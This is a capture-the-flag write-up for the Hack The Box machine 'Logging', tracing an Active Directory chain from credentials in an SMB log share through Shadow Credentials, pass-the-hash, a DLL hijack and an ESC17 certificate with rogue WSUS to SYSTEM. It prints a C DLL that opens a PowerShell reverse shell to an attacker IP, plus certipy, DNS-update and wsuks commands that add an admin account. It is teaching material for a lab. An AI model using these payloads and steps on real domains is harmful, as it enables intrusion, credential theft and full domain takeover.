Hack The Box Active Directory Windows Hard

Logging

Full Active Directory attack chain — SMB credential discovery, Shadow Credentials against an MSA, DLL hijack for lateral movement, and a chained ESC17 + WSUS MitM for SYSTEM.

PlatformHack The Box
DifficultyHard
OSWindows Server 2019
Domainlogging.htb / DC01
TechniquesShadow Creds · ESC17 · WSUS MitM
00

Kill Chain

Phase 1 — Recon & Credential Discovery
Nmap → SMB anon enum → \\DC01\Logs share → svc_recovery creds
↓
Phase 2 — Shadow Credentials
Kerberos TGT → AddKeyCredentialLink write on msa_health$ → certipy shadow auto → NT hash: 603fc24e…
↓
Phase 3 — Initial Access
Pass-the-Hash → evil-winrm as msa_health$ → WinRM shell on DC01
↓
Phase 4 — Lateral Movement
UpdateChecker Agent (schtask) → x86 DLL hijack → reverse shell as jaylee.clifton → user.txt
↓
Phase 5 — Privilege Escalation
ESC17 — UpdateSrv template → cert for wsus.logging.htb → DNS redirect via nsupdate → wsuks rogue WSUS → SYSTEM
Recon Credentials Access Lateral Movement Privilege Escalation
01

Recon & Credential Discovery

Port scan

shell
nmap -sC -sV -p- 10.129.33.228

Key ports: 53 (DNS), 88 (Kerberos), 445 (SMB), 389 (LDAP), 5985 (WinRM), 8530/8531 (WSUS). The presence of WSUS immediately signals a potential update-based attack path.

SMB enumeration

shell
netexec smb 10.129.33.228 -u '' -p '' --shares # Anonymous session reveals readable share: \\DC01\Logs netexec smb 10.129.33.228 -u 'wallace.everette' -p 'Welcome2026@' --shares

Credentials wallace.everette:Welcome2026@ found. Browsing the \\DC01\Logs share reveals service account credentials hardcoded in a log file: svc_recovery:Em3rg3ncyPa$$2026.

Root cause: Credentials left in a world-readable SMB share. A monitoring or recovery script logged its own authentication material in plaintext — one of the most common credential exposure patterns in real AD environments.
02

Kerberos Setup

svc_recovery fails LDAP Simple Bind (data 52f — account restrictions) but Kerberos authentication works fine. Configure /etc/krb5.conf and obtain a TGT.

/etc/krb5.conf
[libdefaults] default_realm = LOGGING.HTB dns_lookup_realm = false dns_lookup_kdc = false [realms] LOGGING.HTB = { kdc = dc01.logging.htb admin_server = dc01.logging.htb } [domain_realm] .logging.htb = LOGGING.HTB logging.htb = LOGGING.HTB
shell
kinit [email protected] klist
Note: Always try Kerberos when LDAP Simple Bind fails. Account restrictions in AD often block specific protocols while leaving Kerberos wide open. A valid TGT is enough to proceed with most LDAP-based attacks.
03

Shadow Credentials → msa_health$ Hash

Why this works

svc_recovery has AddKeyCredentialLink write permission on the msa_health$ Group Managed Service Account. This attribute (msDS-KeyCredentialLink) stores certificate-based credentials for the account. By adding a fake key credential here, we can authenticate as msa_health$ using the certificate we control — and retrieve its NT hash via PKINIT.

Shadow Credentials — how it works under the hood:

Windows Hello for Business stores public key credentials in the msDS-KeyCredentialLink attribute of user/computer objects. When a client authenticates using PKINIT (Kerberos with a certificate), the KDC looks up the corresponding public key in this attribute and verifies the signature.

If you have write access to this attribute on a target account, the attack is:
① Generate a new RSA key pair locally
② Write the public key into msDS-KeyCredentialLink of the target
③ Authenticate to the KDC via PKINIT using your private key — you'll get a TGT as the target account
④ Use that TGT with UnPAC-the-hash to extract the account's NT hash

No password is changed. No account is locked. Certipy restores the original attribute value after extraction — making this extremely quiet from a blue team perspective. Detection requires monitoring msDS-KeyCredentialLink modification events (Event ID 5136).
shell
export KRB5CCNAME=/tmp/svc_recovery.ccache certipy-ad shadow auto \ -u [email protected] \ -k -no-pass \ -dc-ip 10.129.33.228 \ -target dc01.logging.htb \ -dc-host dc01.logging.htb \ -account msa_health$
output
[+] NT Hash: 603fc24ee01a9409f83c9d1d701485c5 [+] TGT saved: msa_health.ccache # Certipy automatically restores the original msDS-KeyCredentialLink — OPSEC safe
04

Initial Access via WinRM

MSAs block WMI and interactive logons by design — these are service accounts, not user accounts. WinRM with Pass-the-Hash bypasses this restriction.

shell
evil-winrm -i dc01.logging.htb \ -H 603fc24ee01a9409f83c9d1d701485c5 \ -u 'msa_health$' # PS C:\Users\msa_health$\Documents>
MSA restriction: Group Managed Service Accounts block interactive and network logons that require full credential validation — but WinRM with PtH sidesteps this because it operates at the NTLM level, not the logon type check level.
05

Lateral Movement — DLL Hijack → jaylee.clifton

Discovery

Enumeration of the filesystem reveals monitor.ps1 and a scheduled task named UpdateChecker Agent running every 3 minutes as jaylee.clifton. The task:

1
Extracts C:\ProgramData\UpdateMonitor\Settings_Update.zip
2
Places settings_update.dll into C:\Program Files\UpdateMonitor\bin\
3
Calls exported function PreUpdateCheck() from the DLL
4
Self-deletes the DLL after ~30 seconds

We control the ZIP source path and the DLL name. The task runs as jaylee.clifton — so our DLL executes as that user.

Critical detail — 32-bit: UpdateMonitor.exe is a 32-bit binary. A 64-bit DLL will silently fail to load. Always check the architecture with file or PE header inspection before compiling. Using the wrong compiler wastes 30 minutes per iteration waiting for the scheduled task.

Payload

c — dllmain.c
#include <windows.h> __declspec(dllexport) void PreUpdateCheck() { WinExec( "cmd.exe /c start /b powershell -ep bypass -c " "\"$c=New-Object System.Net.Sockets.TCPClient('10.10.14.121',4444);" "$s=$c.GetStream();" "[byte[]]$b=0..65535|%{0};" "while(($i=$s.Read($b,0,$b.Length)) -ne 0){" "$d=([text.encoding]::ASCII).GetString($b,0,$i);" "$sb=(iex $d 2>&1|Out-String)+'PS '+(pwd).Path+'> ';" "$s.Write(([text.encoding]::ASCII).GetBytes($sb),0,$sb.Length);" "$s.Flush()}; $c.Close()\", SW_HIDE ); } BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) { return TRUE; }
shell — compile + package (x86)
i686-w64-mingw32-gcc -shared -o settings_update.dll dllmain.c \ -lws2_32 -Wl,--export-all-symbols zip Settings_Update.zip settings_update.dll

Deployment

powershell — evil-winrm
New-Item -Path "C:\ProgramData\UpdateMonitor" -ItemType Directory -Force upload /root/Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
shell — listener + trigger
nc -lvnp 4444 # trigger immediately instead of waiting 3 minutes schtasks /run /tn "UpdateChecker Agent"
result
PS C:\> type C:\Users\jaylee.clifton\Desktop\user.txt 6c05a2eb12e8c348d6a86bc736b2f4f7
06

Privilege Escalation — ESC17 + WSUS MitM → SYSTEM

The setup

WSUS runs at https://wsus.logging.htb:8531 (HTTPS). Standard WSUS MitM attacks fail against HTTPS because you need a valid TLS certificate the Windows Update client will trust. However, the AD CS template UpdateSrv has a critical misconfiguration — ESC17.

ESC17 — why Server Authentication EKU is dangerous with Enrollee Supplies Subject:

AD CS templates have two relevant flags here. The EKU (Extended Key Usage) defines what the certificate can be used for. The CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag means the requester — not the CA — chooses what goes in the Subject Alternative Name field.

ESC1 abuses the Client Authentication EKU: you supply any UPN (e.g. [email protected]) in the SAN, and the resulting cert lets you authenticate to AD as that user via PKINIT.

Admins often "fix" ESC1 by switching the EKU to Server Authentication — thinking client auth certs are the only risk. But ESC17 shows this is wrong. With Server Authentication EKU and Enrollee Supplies Subject still enabled, you can request a valid TLS certificate for any hostname. The domain CA signs it. Every domain-joined machine trusts that CA unconditionally. This means you can impersonate any HTTPS service in the domain — including WSUS.

The Windows Update client connects to WSUS over HTTPS and validates the server certificate. Since our cert was signed by the domain's own CA, it passes validation. The client trusts us completely and accepts our injected update commands — which run as SYSTEM.

Step 1 — Get jaylee.clifton TGT

powershell — jaylee shell
.\Rubeus.exe tgtdeleg /nowrap # Outputs base64-encoded kirbi ticket
shell — convert kirbi → ccache
echo "<BASE64_OUTPUT>" | base64 -d > jaylee.kirbi python3 /usr/share/doc/python3-impacket/examples/ticketConverter.py \ jaylee.kirbi jaylee.clifton.ccache export KRB5CCNAME=~/HackTheBox/Logging/jaylee.clifton.ccache klist

Step 2 — Request ESC17 certificate for wsus.logging.htb

shell — certipy
python3 /usr/lib/python3/dist-packages/certipy/entry.py req \ -u '[email protected]' \ -k -no-pass \ -dc-host dc01.logging.htb \ -target dc01.logging.htb \ -ca logging-DC01-CA \ -template UpdateSrv \ -dns wsus.logging.htb \ # supply our own SAN -out wsus.pfx \ -dc-ip 10.129.33.228 openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes -passin pass:

Step 3 — Redirect DNS

The DNS zone accepts authenticated Kerberos updates. Redirect wsus.logging.htb A record to our attacker IP — so the DC sends Windows Update traffic to us instead of the real WSUS server.

shell — nsupdate with Kerberos
nsupdate -g << EOF server 10.129.33.228 realm LOGGING.HTB update delete wsus.logging.htb A update add wsus.logging.htb 300 A 10.10.14.121 send EOF nslookup wsus.logging.htb 10.129.33.228 # Address: 10.10.14.121 ← points to us now

Step 4 — Rogue WSUS server

With the valid TLS certificate and DNS redirected, launch wsuks to serve a rogue WSUS response. When the Windows Update client checks in, it presents our certificate — trusted by the domain CA — and receives our malicious update command, executed as SYSTEM.

--serve-only flag: Standard wsuks uses ARP spoofing for traffic interception — this requires L2 network access. HTB VPN is L3 (tun0), so ARP is unavailable. The --serve-only flag skips ARP and relies purely on DNS redirection instead. Without this flag, wsuks exits immediately on a VPN connection.
shell — wsuks setup
python3 -m venv ~/wsuks-env source ~/wsuks-env/bin/activate pip install wsuks # Copy nftables bindings into venv (required dependency) cp -r /usr/lib/python3/dist-packages/nftables \ ~/wsuks-env/lib/python3*/site-packages/
shell — launch rogue WSUS
sudo ~/wsuks-env/bin/wsuks \ --serve-only \ --WSUS-Server wsus.logging.htb \ --tls-cert wsus.pem \ --WSUS-Port 8531 \ -I tun0 \ -c "/accepteula /s cmd.exe /c net user hacker Password123! /add \ && net localgroup administrators hacker /add"

When the Windows Update client checks in, it connects to our server, validates our TLS certificate (signed by the domain's own CA — fully trusted), and executes our injected command as SYSTEM.

Root

shell
evil-winrm -i dc01.logging.htb -u hacker -p 'Password123!' type C:\Users\Administrator\Desktop\root.txt HTB{...}
Chain complete. SMB creds in log files → Shadow Credentials against MSA → PtH WinRM → x86 DLL hijack via scheduled task → ESC17 certificate for WSUS hostname → DNS redirect → rogue WSUS MitM → SYSTEM. ✓ user.txt ✓ root.txt
07

MITRE ATT&CK Mapping

IDTechniqueTacticContext
T1078Valid AccountsInitial Accesssvc_recovery credentials in log file
T1098.004Account Manipulation — Shadow CredentialsCredential AccessAddKeyCredentialLink write on msa_health$
T1550.002Pass-the-HashLateral MovementWinRM with msa_health$ NT hash
T1574.011Hijack Execution Flow — DLL Side-LoadingPrivilege EscalationUpdateChecker Agent loads attacker-controlled DLL
T1053.005Scheduled Task / JobExecutionUpdateChecker Agent runs every 3 minutes as jaylee.clifton
T1649Steal or Forge Authentication CertificatesCredential AccessESC17 — Enrollee Supplies Subject on Server Auth template
T1584.002Compromise Infrastructure — DNSDefense EvasionKerberos-authenticated DNS update redirects WSUS hostname
T1059.001Command and Scripting — PowerShellExecutionReverse shell via DLL payload and WSUS command injection
08

Key Takeaways

01
Credentials in log files on SMB shares are a recurring pattern. Any share readable by low-privileged or anonymous users should be treated as a credential source. Automation and recovery scripts are the most common offenders.
02
AddKeyCredentialLink write = account takeover. Shadow Credentials abuse is quiet and reversible (Certipy restores the original value). It doesn't change passwords or lock accounts — making it difficult to detect without dedicated monitoring of msDS-KeyCredentialLink attribute changes.
03
Always check binary architecture before compiling DLL payloads. A 64-bit DLL against a 32-bit host loader fails silently — no error, no crash, just nothing. Use file or check the PE header (IMAGE_FILE_HEADER.Machine) before writing a single line of C.
04
ESC17 is ESC1's overlooked sibling. Switching a template EKU from Client Authentication to Server Authentication to "fix" ESC1 does not fix the underlying issue — CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is still dangerous with Server Auth because it enables TLS certificate forgery for any hostname the CA serves.
05
HTTPS WSUS is only as safe as the CA that signed the cert. If an attacker can enroll a certificate for the WSUS hostname from the domain CA, HTTPS provides no protection. The Windows Update client trusts the domain CA unconditionally — and so does everyone else in the domain.
06
DNS as a pivot point. Authenticated DNS updates (GSS-TSIG / Kerberos) are often overlooked. Any domain user in an environment with insecure DNS ACLs can redirect arbitrary hostnames — a prerequisite for many MitM attacks that doesn't require network-level access.